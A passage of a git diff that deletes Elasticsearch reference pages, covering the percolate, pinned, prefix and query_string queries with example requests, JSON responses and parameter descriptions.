-has been configured to use the <<percolator,percolator field type>>. This field
-type understands the query dsl and stores the query in such a way that it can be
-used later on to match documents defined on the `percolate` query.
-
-Register a query in the percolator:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-00001/_doc/1?refresh
-{
-  "query": {
-    "match": {
-      "message": "bonsai tree"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Match a document to the registered percolator queries:
-
-[source,console]
---------------------------------------------------
-GET /my-index-00001/_search
-{
-  "query": {
-    "percolate": {
-      "field": "query",
-      "document": {
-        "message": "A new bonsai tree in the office"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The above request will yield the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 13,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.26152915,
-    "hits": [
-      { <1>
-        "_index": "my-index-00001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.26152915,
-        "_source": {
-          "query": {
-            "match": {
-              "message": "bonsai tree"
-            }
-          }
-        },
-        "fields" : {
-          "_percolator_document_slot" : [0] <2>
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 13,/"took": "$body.took",/]
-
-<1> The query with id `1` matches our document.
-<2> The `_percolator_document_slot` field indicates which document has matched with this query.
-    Useful when percolating multiple document simultaneously.
-
-TIP: To provide a simple example, this documentation uses one index `my-index-00001` for both the percolate queries and documents.
-This set-up can work well when there are just a few percolate queries registered. However, with heavier usage it is recommended
-to store queries and documents in separate indices. Please see <<how-it-works, How it Works Under the Hood>> for more details.
-
-[discrete]
-==== Parameters
-
-The following parameters are required when percolating a document:
-
-[horizontal]
-`field`:: The field of type `percolator` that holds the indexed queries. This is a required parameter.
-`name`:: The suffix to be used for the `_percolator_document_slot` field in case multiple `percolate` queries have been specified.
-         This is an optional parameter.
-`document`:: The source of the document being percolated.
-`documents`:: Like the `document` parameter, but accepts multiple documents via a json array.
-`document_type`:: The type / mapping of the document being percolated. This parameter is deprecated and will be removed in Elasticsearch 8.0.
-
-Instead of specifying the source of the document being percolated, the source can also be retrieved from an already
-stored document. The `percolate` query will then internally execute a get request to fetch that document.
-
-In that case the `document` parameter can be substituted with the following parameters:
-
-[horizontal]
-`index`:: The index the document resides in. This is a required parameter.
-`type`:: The type of the document to fetch. This parameter is deprecated and will be removed in Elasticsearch 8.0.
-`id`:: The id of the document to fetch. This is a required parameter.
-`routing`:: Optionally, routing to be used to fetch document to percolate.
-`preference`:: Optionally, preference to be used to fetch document to percolate.
-`version`:: Optionally, the expected version of the document to be fetched.
-
-[discrete]
-==== Percolating in a filter context
-
-In case you are not interested in the score, better performance can be expected by wrapping
-the percolator query in a `bool` query's filter clause or in a `constant_score` query:
-
-[source,console]
---------------------------------------------------
-GET /my-index-00001/_search
-{
-  "query": {
-    "constant_score": {
-      "filter": {
-        "percolate": {
-          "field": "query",
-          "document": {
-            "message": "A new bonsai tree in the office"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-At index time terms are extracted from the percolator query and the percolator
-can often determine whether a query matches just by looking at those extracted
-terms. However, computing scores requires to deserialize each matching query
-and run it against the percolated document, which is a much more expensive
-operation. Hence if computing scores is not required the `percolate` query
-should be wrapped in a `constant_score` query or a `bool` query's filter clause.
-
-Note that the `percolate` query never gets cached by the query cache.
-
-[discrete]
-==== Percolating multiple documents
-
-The `percolate` query can match multiple documents simultaneously with the indexed percolator queries.
-Percolating multiple documents in a single request can improve performance as queries only need to be parsed and
-matched once instead of multiple times.
-
-The `_percolator_document_slot` field that is being returned with each matched percolator query is important when percolating
-multiple documents simultaneously. It indicates which documents matched with a particular percolator query. The numbers
-correlate with the slot in the `documents` array specified in the `percolate` query.
-
-[source,console]
---------------------------------------------------
-GET /my-index-00001/_search
-{
-  "query": {
-    "percolate": {
-      "field": "query",
-      "documents": [ <1>
-        {
-          "message": "bonsai tree"
-        },
-        {
-          "message": "new tree"
-        },
-        {
-          "message": "the office"
-        },
-        {
-          "message": "office tree"
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The documents array contains 4 documents that are going to be percolated at the same time.
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 13,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.7093853,
-    "hits": [
-      {
-        "_index": "my-index-00001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.7093853,
-        "_source": {
-          "query": {
-            "match": {
-              "message": "bonsai tree"
-            }
-          }
-        },
-        "fields" : {
-          "_percolator_document_slot" : [0, 1, 3] <1>
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 13,/"took": "$body.took",/]
-
-<1> The `_percolator_document_slot` indicates that the first, second and last documents specified in the `percolate` query
-    are matching with this query.
-
-[discrete]
-==== Percolating an Existing Document
-
-In order to percolate a newly indexed document, the `percolate` query can be used. Based on the response
-from an index request, the `_id` and other meta information can be used to immediately percolate the newly added
-document.
-
-[discrete]
-===== Example
-
-Based on the previous example.
-
-Index the document we want to percolate:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-00001/_doc/2
-{
-  "message" : "A new bonsai tree in the office"
-}
---------------------------------------------------
-// TEST[continued]
-Index response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "my-index-00001",
-  "_type": "_doc",
-  "_id": "2",
-  "_version": 1,
-  "_shards": {
-    "total": 2,
-    "successful": 1,
-    "failed": 0
-  },
-  "result": "created",
-  "_seq_no" : 1,
-  "_primary_term" : 1
-}
---------------------------------------------------
-
-Percolating an existing document, using the index response as basis to build to new search request:
-
-[source,console]
---------------------------------------------------
-GET /my-index-00001/_search
-{
-  "query": {
-    "percolate": {
-      "field": "query",
-      "index": "my-index-00001",
-      "id": "2",
-      "version": 1 <1>
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The version is optional, but useful in certain cases. We can ensure that we are trying to percolate
-the document we just have indexed. A change may be made after we have indexed, and if that is the
-case the search request would fail with a version conflict error.
-
-The search response returned is identical as in the previous example.
-
-[discrete]
-==== Percolate query and highlighting
-
-The `percolate` query is handled in a special way when it comes to highlighting. The queries hits are used
-to highlight the document that is provided in the `percolate` query. Whereas with regular highlighting the query in
-the search request is used to highlight the hits.
-
-[discrete]
-===== Example
-
-This example is based on the mapping of the first example.
-
-Save a query:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-00001/_doc/3?refresh
-{
-  "query": {
-    "match": {
-      "message": "brown fox"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Save another query:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-00001/_doc/4?refresh
-{
-  "query": {
-    "match": {
-      "message": "lazy dog"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Execute a search request with the `percolate` query and highlighting enabled:
-
-[source,console]
---------------------------------------------------
-GET /my-index-00001/_search
-{
-  "query": {
-    "percolate": {
-      "field": "query",
-      "document": {
-        "message": "The quick brown fox jumps over the lazy dog"
-      }
-    }
-  },
-  "highlight": {
-    "fields": {
-      "message": {}
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-This will yield the following response.
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 7,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 2,
-        "relation": "eq"
-    },
-    "max_score": 0.26152915,
-    "hits": [
-      {
-        "_index": "my-index-00001",
-        "_type": "_doc",
-        "_id": "3",
-        "_score": 0.26152915,
-        "_source": {
-          "query": {
-            "match": {
-              "message": "brown fox"
-            }
-          }
-        },
-        "highlight": {
-          "message": [
-            "The quick <em>brown</em> <em>fox</em> jumps over the lazy dog" <1>
-          ]
-        },
-        "fields" : {
-          "_percolator_document_slot" : [0]
-        }
-      },
-      {
-        "_index": "my-index-00001",
-        "_type": "_doc",
-        "_id": "4",
-        "_score": 0.26152915,
-        "_source": {
-          "query": {
-            "match": {
-              "message": "lazy dog"
-            }
-          }
-        },
-        "highlight": {
-          "message": [
-            "The quick brown fox jumps over the <em>lazy</em> <em>dog</em>" <1>
-          ]
-        },
-        "fields" : {
-          "_percolator_document_slot" : [0]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 7,/"took": "$body.took",/]
-
-<1> The terms from each query have been highlighted in the document.
-
-Instead of the query in the search request highlighting the percolator hits, the percolator queries are highlighting
-the document defined in the `percolate` query.
-
-When percolating multiple documents at the same time like the request below then the highlight response is different:
-
-[source,console]
---------------------------------------------------
-GET /my-index-00001/_search
-{
-  "query": {
-    "percolate": {
-      "field": "query",
-      "documents": [
-        {
-          "message": "bonsai tree"
-        },
-        {
-          "message": "new tree"
-        },
-        {
-          "message": "the office"
-        },
-        {
-          "message": "office tree"
-        }
-      ]
-    }
-  },
-  "highlight": {
-    "fields": {
-      "message": {}
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-The slightly different response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 13,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.7093853,
-    "hits": [
-      {
-        "_index": "my-index-00001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.7093853,
-        "_source": {
-          "query": {
-            "match": {
-              "message": "bonsai tree"
-            }
-          }
-        },
-        "fields" : {
-          "_percolator_document_slot" : [0, 1, 3]
-        },
-        "highlight" : { <1>
-          "0_message" : [
-              "<em>bonsai</em> <em>tree</em>"
-          ],
-          "3_message" : [
-              "office <em>tree</em>"
-          ],
-          "1_message" : [
-              "new <em>tree</em>"
-          ]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 13,/"took": "$body.took",/]
-
-<1> The highlight fields have been prefixed with the document slot they belong to,
-    in order to know which highlight field belongs to what document.
-
-[discrete]
-==== Specifying multiple percolate queries
-
-It is possible to specify multiple `percolate` queries in a single search request:
-
-[source,console]
---------------------------------------------------
-GET /my-index-00001/_search
-{
-  "query": {
-    "bool": {
-      "should": [
-        {
-          "percolate": {
-            "field": "query",
-            "document": {
-              "message": "bonsai tree"
-            },
-            "name": "query1" <1>
-          }
-        },
-        {
-          "percolate": {
-            "field": "query",
-            "document": {
-              "message": "tulip flower"
-            },
-            "name": "query2" <1>
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The `name` parameter will be used to identify which percolator document slots belong to what `percolate` query.
-
-The `_percolator_document_slot` field name will be suffixed with what is specified in the `_name` parameter.
-If that isn't specified then the `field` parameter will be used, which in this case will result in ambiguity.
-
-The above search request returns a response similar to this:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 13,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.26152915,
-    "hits": [
-      {
-        "_index": "my-index-00001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.26152915,
-        "_source": {
-          "query": {
-            "match": {
-              "message": "bonsai tree"
-            }
-          }
-        },
-        "fields" : {
-          "_percolator_document_slot_query1" : [0] <1>
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 13,/"took": "$body.took",/]
-
-<1> The `_percolator_document_slot_query1` percolator slot field indicates that these matched slots are from the `percolate`
-    query with `_name` parameter set to `query1`.
-
-[discrete]
-[[how-it-works]]
-==== How it Works Under the Hood
-
-When indexing a document into an index that has the <<percolator,percolator field type>> mapping configured, the query
-part of the document gets parsed into a Lucene query and is stored into the Lucene index. A binary representation
-of the query gets stored, but also the query's terms are analyzed and stored into an indexed field.
-
-At search time, the document specified in the request gets parsed into a Lucene document and is stored in a in-memory
-temporary Lucene index. This in-memory index can just hold this one document and it is optimized for that. After this
-a special query is built based on the terms in the in-memory index that select candidate percolator queries based on
-their indexed query terms. These queries are then evaluated by the in-memory index if they actually match.
-
-The selecting of candidate percolator queries matches is an important performance optimization during the execution
-of the `percolate` query as it can significantly reduce the number of candidate matches the in-memory index needs to
-evaluate. The reason the `percolate` query can do this is because during indexing of the percolator queries the query
-terms are being extracted and indexed with the percolator query. Unfortunately the percolator cannot extract terms from
-all queries (for example the `wildcard` or `geo_shape` query) and as a result of that in certain cases the percolator
-can't do the selecting optimization (for example if an unsupported query is defined in a required clause of a boolean query
-or the unsupported query is the only query in the percolator document).  These queries are marked by the percolator and
-can be found by running the following search:
-
-
-[source,console]
----------------------------------------------------
-GET /_search
-{
-  "query": {
-    "term" : {
-      "query.extraction_result" : "failed"
-    }
-  }
-}
----------------------------------------------------
-
-NOTE: The above example assumes that there is a `query` field of type
-`percolator` in the mappings.
-
-Given the design of percolation, it often makes sense to use separate indices for the percolate queries and documents
-being percolated, as opposed to a single index as we do in examples. There are a few benefits to this approach:
-
-- Because percolate queries contain a different set of fields from the percolated documents, using two separate indices
-allows for fields to be stored in a denser, more efficient way.
-- Percolate queries do not scale in the same way as other queries, so percolation performance may benefit from using
-a different index configuration, like the number of primary shards.
-
-[[percolate-query-notes]]
-==== Notes
-===== Allow expensive queries
-Percolate queries will not be executed if <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>>
-is set to false.
diff --git a/docs/reference/query-dsl/pinned-query.asciidoc b/docs/reference/query-dsl/pinned-query.asciidoc
deleted file mode 100644
index c55df9ff86f..00000000000
--- a/docs/reference/query-dsl/pinned-query.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[query-dsl-pinned-query]]
-=== Pinned Query
-Promotes selected documents to rank higher than those matching a given query.
-This feature is typically used to guide searchers to curated documents that are
-promoted over and above any "organic" matches for a search.  
-The promoted or "pinned" documents are identified using the document IDs stored in
-the <<mapping-id-field,`_id`>> field.
-
-==== Example request
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "pinned": {
-      "ids": [ "1", "4", "100" ],
-      "organic": {
-        "match": {
-          "description": "iphone"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[[pinned-query-top-level-parameters]]
-==== Top-level parameters for `pinned`
-
-`ids`::
-An array of <<mapping-id-field, document IDs>> listed in the order they are to appear in results.
-`organic`::
-Any choice of query used to rank documents which will be ranked below the "pinned" document ids.
diff --git a/docs/reference/query-dsl/prefix-query.asciidoc b/docs/reference/query-dsl/prefix-query.asciidoc
deleted file mode 100644
index b400924edb1..00000000000
--- a/docs/reference/query-dsl/prefix-query.asciidoc
+++ /dev/null
@@ -1,78 +0,0 @@
-[[query-dsl-prefix-query]]
-=== Prefix query
-++++
-<titleabbrev>Prefix</titleabbrev>
-++++
-
-Returns documents that contain a specific prefix in a provided field.
-
-[[prefix-query-ex-request]]
-==== Example request
-
-The following search returns documents where the `user.id` field contains a term
-that begins with `ki`.
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "prefix": {
-      "user.id": {
-        "value": "ki"
-      }
-    }
-  }
-}
-----
-
-[[prefix-query-top-level-params]]
-==== Top-level parameters for `prefix`
-`<field>`::
-(Required, object) Field you wish to search.
-
-[[prefix-query-field-params]]
-==== Parameters for `<field>`
-`value`::
-(Required, string) Beginning characters of terms you wish to find in the
-provided `<field>`.
-
-`rewrite`::
-(Optional, string) Method used to rewrite the query. For valid values and more
-information, see the <<query-dsl-multi-term-rewrite, `rewrite` parameter>>.
-
-`case_insensitive`::
-(Optional, Boolean) allows ASCII case insensitive matching of the
-value with the indexed field values when set to true. Default is false which means
-the case sensitivity of matching depends on the underlying field's mapping.
-
-[[prefix-query-notes]]
-==== Notes
-
-[[prefix-query-short-ex]]
-===== Short request example
-You can simplify the `prefix` query syntax by combining the `<field>` and
-`value` parameters. For example:
-
-[source,console]
-----
-GET /_search
-{
-  "query": {
-    "prefix" : { "user" : "ki" }
-  }
-}
-----
-
-[[prefix-query-index-prefixes]]
-===== Speed up prefix queries
-You can speed up prefix queries using the <<index-prefixes,`index_prefixes`>>
-mapping parameter. If enabled, {es} indexes prefixes between 2 and 5
-characters in a separate field. This lets {es} run prefix queries more
-efficiently at the cost of a larger index.
-
-[[prefix-query-allow-expensive-queries]]
-===== Allow expensive queries
-Prefix queries will not be executed if <<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>>
-is set to false. However, if <<index-prefixes, `index_prefixes`>> are enabled, an optimised query is built which
-is not considered slow, and will be executed in spite of this setting.
diff --git a/docs/reference/query-dsl/query-string-query.asciidoc b/docs/reference/query-dsl/query-string-query.asciidoc
deleted file mode 100644
index a36289722a7..00000000000
--- a/docs/reference/query-dsl/query-string-query.asciidoc
+++ /dev/null
@@ -1,554 +0,0 @@
-[[query-dsl-query-string-query]]
-=== Query string query
-++++
-<titleabbrev>Query string</titleabbrev>
-++++
-
-Returns documents based on a provided query string, using a parser with a strict
-syntax.
-
-This query uses a <<query-string-syntax,syntax>> to parse and split the provided
-query string based on operators, such as `AND` or `NOT`. The query
-then <<analysis,analyzes>> each split text independently before returning
-matching documents.
-
-You can use the `query_string` query to create a complex search that includes
-wildcard characters, searches across multiple fields, and more. While versatile,
-the query is strict and returns an error if the query string includes any
-invalid syntax.
-
-[WARNING]
-====
-Because it returns an error for any invalid syntax, we don't recommend using
-the `query_string` query for search boxes.
-
-If you don't need to support a query syntax, consider using the
-<<query-dsl-match-query, `match`>> query. If you need the features of a query
-syntax, use the <<query-dsl-simple-query-string-query,`simple_query_string`>>
-query, which is less strict.
-====
- 
-
-[[query-string-query-ex-request]]
-==== Example request
-
-When running the following search, the `query_string` query splits `(new york
-city) OR (big apple)` into two parts: `new york city` and `big apple`. The
-`content` field's analyzer then independently converts each part into tokens
-before returning matching documents. Because the query syntax does not use
-whitespace as an operator, `new york city` is passed as-is to the analyzer.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "query": "(new york city) OR (big apple)",
-      "default_field": "content"
-    }
-  }
-}
---------------------------------------------------
-
-[[query-string-top-level-params]]
-==== Top-level parameters for `query_string`
-`query`::
-(Required, string) Query string you wish to parse and use for search. See
-<<query-string-syntax>>.
-
-`default_field`::
-+
---
-(Optional, string) Default field you wish to search if no field is provided in
-the query string.
-
-Defaults to the `index.query.default_field` index setting, which has a default
-value of `*`. The `*` value extracts all fields that are eligible for term
-queries and filters the metadata fields. All extracted fields are then
-combined to build a query if no `prefix` is specified.
-
-Searching across all eligible fields does not include <<nested,nested
-documents>>. Use a <<query-dsl-nested-query,`nested` query>> to search those
-documents.
-
-[[WARNING]]
-====
-For mappings with a large number of fields, searching across all eligible fields
-could be expensive.
-
-There is a limit on the number of fields that can be queried at once.
-It is defined by the `indices.query.bool.max_clause_count`
-<<search-settings,search setting>>, which defaults to 1024.
-====
---
-
-`allow_leading_wildcard`::
-(Optional, Boolean) If `true`, the wildcard characters `*` and `?` are allowed
-as the first character of the query string. Defaults to `true`.
-
-`analyze_wildcard`::
-(Optional, Boolean) If `true`, the query attempts to analyze wildcard terms in
-the query string. Defaults to `false`.
-
-`analyzer`::
-(Optional, string) <<analysis,Analyzer>> used to convert text in the
-query string into tokens. Defaults to the
-<<specify-index-time-analyzer,index-time analyzer>> mapped for the
-`default_field`. If no analyzer is mapped, the index's default analyzer is used.
-
-`auto_generate_synonyms_phrase_query`::
-(Optional, Boolean) If `true`, <<query-dsl-match-query-phrase,match phrase>>
-queries are automatically created for multi-term synonyms. Defaults to `true`.
-See <<query-string-synonyms>> for an example.
-
-`boost`::
-+
---
-(Optional, float) Floating point number used to decrease or increase the
-<<relevance-scores,relevance scores>> of the query. Defaults to `1.0`.
-
-Boost values are relative to the default value of `1.0`. A boost value between
-`0` and `1.0` decreases the relevance score. A value greater than `1.0`
-increases the relevance score.
---
-
-`default_operator`::
-+
---
-(Optional, string) Default boolean logic used to interpret text in the query
-string if no operators are specified. Valid values are:
-
- `OR` (Default)::
-For example, a query string of `capital of Hungary` is interpreted as `capital
-OR of OR Hungary`.
-
- `AND`::
-For example, a query string of `capital of Hungary` is interpreted as `capital
-AND of AND Hungary`.
---
-
-`enable_position_increments`::
-(Optional, Boolean) If `true`, enable position increments in queries constructed
-from a `query_string` search. Defaults to `true`.
-
-`fields`::
-+
---
-(Optional, array of strings) Array of fields you wish to search.
-
-You can use this parameter query to search across multiple fields. See
-<<query-string-multi-field>>.
---
-
-`fuzziness`::
-(Optional, string) Maximum edit distance allowed for matching. See <<fuzziness>>
-for valid values and more information.
-
-`fuzzy_max_expansions`::
-(Optional, integer) Maximum number of terms to which the query expands for fuzzy
-matching. Defaults to `50`.
-
-`fuzzy_prefix_length`::
-(Optional, integer) Number of beginning characters left unchanged for fuzzy
-matching. Defaults to `0`.
-
-`fuzzy_transpositions`::
-(Optional, Boolean) If `true`, edits for fuzzy matching include
-transpositions of two adjacent characters (ab → ba). Defaults to `true`.
-
-`lenient`::
-(Optional, Boolean) If `true`, format-based errors, such as providing a text
-value for a <<number,numeric>> field, are ignored. Defaults to `false`.
-
-`max_determinized_states`::
-+
---
-(Optional, integer) Maximum number of
-{wikipedia}/Deterministic_finite_automaton[automaton states]
-required for the query. Default is `10000`.
-
-{es} uses https://lucene.apache.org/core/[Apache Lucene] internally to parse
-regular expressions. Lucene converts each regular expression to a finite
-automaton containing a number of determinized states.
-
-You can use this parameter to prevent that conversion from unintentionally
-consuming too many resources. You may need to increase this limit to run complex
-regular expressions.
---
-
-`minimum_should_match`::
-(Optional, string) Minimum number of clauses that must match for a document to
-be returned. See the <<query-dsl-minimum-should-match, `minimum_should_match`
-parameter>> for valid values and more information. See
-<<query-string-min-should-match>> for an example.
-
-`quote_analyzer`::
-+
---
-(Optional, string) <<analysis,Analyzer>> used to convert quoted text in the
-query string into tokens. Defaults to the
-<<search-quote-analyzer,`search_quote_analyzer`>> mapped for the
-`default_field`.
-
-For quoted text, this parameter overrides the analyzer specified in the
-`analyzer` parameter.
---
-
-`phrase_slop`::
-(Optional, integer) Maximum number of positions allowed between matching tokens
-for phrases. Defaults to `0`. If `0`, exact phrase matches are required.
-Transposed terms have a slop of `2`.
-
-`quote_field_suffix`::
-+
---
-(Optional, string) Suffix appended to quoted text in the query string.
-
-You can use this suffix to use a different analysis method for exact matches.
-See <<mixing-exact-search-with-stemming>>.
---
-
-`rewrite`::
-(Optional, string) Method used to rewrite the query. For valid values and more
-information, see the <<query-dsl-multi-term-rewrite, `rewrite` parameter>>.
-
-`time_zone`::
-+
---
-(Optional, string)
-{wikipedia}/List_of_UTC_time_offsets[Coordinated Universal
-Time (UTC) offset] or
-{wikipedia}/List_of_tz_database_time_zones[IANA time zone]
-used to convert `date` values in the query string to UTC.
-
-Valid values are ISO 8601 UTC offsets, such as `+01:00` or -`08:00`, and IANA
-time zone IDs, such as `America/Los_Angeles`.
-
-[NOTE]
-====
-The `time_zone` parameter does **not** affect the <<date-math,date math>> value
-of `now`. `now` is always the current system time in UTC. However, the
-`time_zone` parameter does convert dates calculated using `now` and
-<<date-math,date math rounding>>. For example, the `time_zone` parameter will
-convert a value of `now/d`.
-====
---
-
-[[query-string-query-notes]]
-==== Notes
-
-include::query-string-syntax.asciidoc[]
-
-[[query-string-nested]]
-====== Avoid using the `query_string` query for nested documents
-
-`query_string` searches do not return <<nested,nested>> documents. To search
-nested documents, use the <<query-dsl-nested-query, `nested` query>>.
-
-[[query-string-multi-field]]
-====== Search multiple fields
-
-You can use the `fields` parameter to perform a `query_string` search across
-multiple fields.
-
-The idea of running the `query_string` query against multiple fields is to
-expand each query term to an OR clause like this:
-
-```
-field1:query_term OR field2:query_term | ...
-```
-
-For example, the following query
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "fields": [ "content", "name" ],
-      "query": "this AND that"
-    }
-  }
-}
---------------------------------------------------
-
-matches the same words as
-
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "query": "(content:this OR name:this) AND (content:that OR name:that)"
-    }
-  }
-}
---------------------------------------------------
-
-Since several queries are generated from the individual search terms,
-combining them is automatically done using a `dis_max` query with a `tie_breaker`.
-For example (the `name` is boosted by 5 using `^5` notation):
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string" : {
-      "fields" : ["content", "name^5"],
-      "query" : "this AND that OR thus",
-      "tie_breaker" : 0
-    }
-  }
-}
---------------------------------------------------
-
-Simple wildcard can also be used to search "within" specific inner
-elements of the document. For example, if we have a `city` object with
-several fields (or inner object with fields) in it, we can automatically
-search on all "city" fields:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string" : {
-      "fields" : ["city.*"],
-      "query" : "this AND that OR thus"
-    }
-  }
-}
---------------------------------------------------
-
-Another option is to provide the wildcard fields search in the query
-string itself (properly escaping the `*` sign), for example:
-`city.\*:something`:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string" : {
-      "query" : "city.\\*:(this AND that OR thus)"
-    }
-  }
-}
---------------------------------------------------
-
-NOTE: Since `\` (backslash) is a special character in json strings, it needs to
-be escaped, hence the two backslashes in the above `query_string`.
-
-The fields parameter can also include pattern based field names,
-allowing to automatically expand to the relevant fields (dynamically
-introduced fields included). For example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string" : {
-      "fields" : ["content", "name.*^5"],
-      "query" : "this AND that OR thus"
-    }
-  }
-}
---------------------------------------------------
-
-[[query-string-multi-field-parms]]
-====== Additional parameters for multiple field searches
-
-When running the `query_string` query against multiple fields, the
-following additional parameters are supported.
-
-`type`::
-+
---
-(Optional, string) Determines how the query matches and scores documents. Valid
-values are:
-
-`best_fields` (Default)::
-Finds documents which match any field and uses the highest
-<<relevance-scores,`_score`>> from any matching field. See
-<<type-best-fields>>.
-
-`bool_prefix`::
-Creates a `match_bool_prefix` query on each field and combines the `_score` from
-each field. See <<type-bool-prefix>>.
-
-`cross_fields`::
-Treats fields with the same `analyzer` as though they were one big field. Looks
-for each word in **any** field. See <<type-cross-fields>>.
-
-`most_fields`::
-Finds documents which match any field and combines the `_score` from each field.
-See <<type-most-fields>>.
-
-`phrase`::
-Runs a `match_phrase` query on each field and uses the `_score` from the best
-field. See <<type-phrase>>.
-
-`phrase_prefix`::
-Runs a `match_phrase_prefix` query on each field and uses the `_score` from the
-best field. See <<type-phrase>>.
-
-NOTE:
-Additional top-level `multi_match` parameters may be available based on the
-<<multi-match-types,`type`>> value.
---
-
-[[query-string-synonyms]]
-===== Synonyms and the `query_string` query
-
-The `query_string` query supports multi-terms synonym expansion with the <<analysis-synonym-graph-tokenfilter,
-synonym_graph>> token filter. When this filter is used, the parser creates a phrase query for each multi-terms synonyms.
-For example, the following synonym: `ny, new york` would produce:
-
-`(ny OR ("new york"))`
-
-It is also possible to match multi terms synonyms with conjunctions instead:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-   "query": {
-       "query_string" : {
-           "default_field": "title",
-           "query" : "ny city",
-           "auto_generate_synonyms_phrase_query" : false
-       }
-   }
-}
---------------------------------------------------
-
-The example above creates a boolean query:
-
-`(ny OR (new AND york)) city`
-
-that matches documents with the term `ny` or the conjunction `new AND york`.
-By default the parameter `auto_generate_synonyms_phrase_query` is set to `true`.
-
-[[query-string-min-should-match]]
-===== How `minimum_should_match` works
-
-The `query_string` splits the query around each operator to create a boolean
-query for the entire input. You can use `minimum_should_match` to control how
-many "should" clauses in the resulting query should match.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "fields": [
-        "title"
-      ],
-      "query": "this that thus",
-      "minimum_should_match": 2
-    }
-  }
-}
---------------------------------------------------
-
-The example above creates a boolean query:
-
-`(title:this title:that title:thus)~2`
-
-that matches documents with at least two of the terms `this`, `that` or `thus`
-in the single field `title`.
-
-[[query-string-min-should-match-multi]]
-===== How `minimum_should_match` works for multiple fields
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "fields": [
-        "title",
-        "content"
-      ],
-      "query": "this that thus",
-      "minimum_should_match": 2
-    }
-  }
-}
---------------------------------------------------
-
-The example above creates a boolean query:
-
-`((content:this content:that content:thus) | (title:this title:that title:thus))`
-
-that matches documents with the disjunction max over the fields `title` and
-`content`. Here the `minimum_should_match` parameter can't be applied.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "query_string": {
-      "fields": [
-        "title",
-        "content"
-      ],
-      "query": "this OR that OR thus",
-      "minimum_should_match": 2
-    }
-  }
-}
---------------------------------------------------
-
-Adding explicit operators forces each term to be considered as a separate clause.
-
-The example above creates a boolean query:
-
-`((content:this | title:this) (content:that | title:that) (content:thus | title:thus))~2`
-
-that matches documents with at least two of the three "should" clauses, each of
-them made of the disjunction max over the fields for each term.
-
-[[query-string-min-should-match-cross]]
-===== How `minimum_should_match` works for cross-field searches
-
-A `cross_fields` value in the `type` field indicates fields with the same
-analyzer are grouped together when the input is analyzed.
-
-[source,console]
---------------------------------------------------
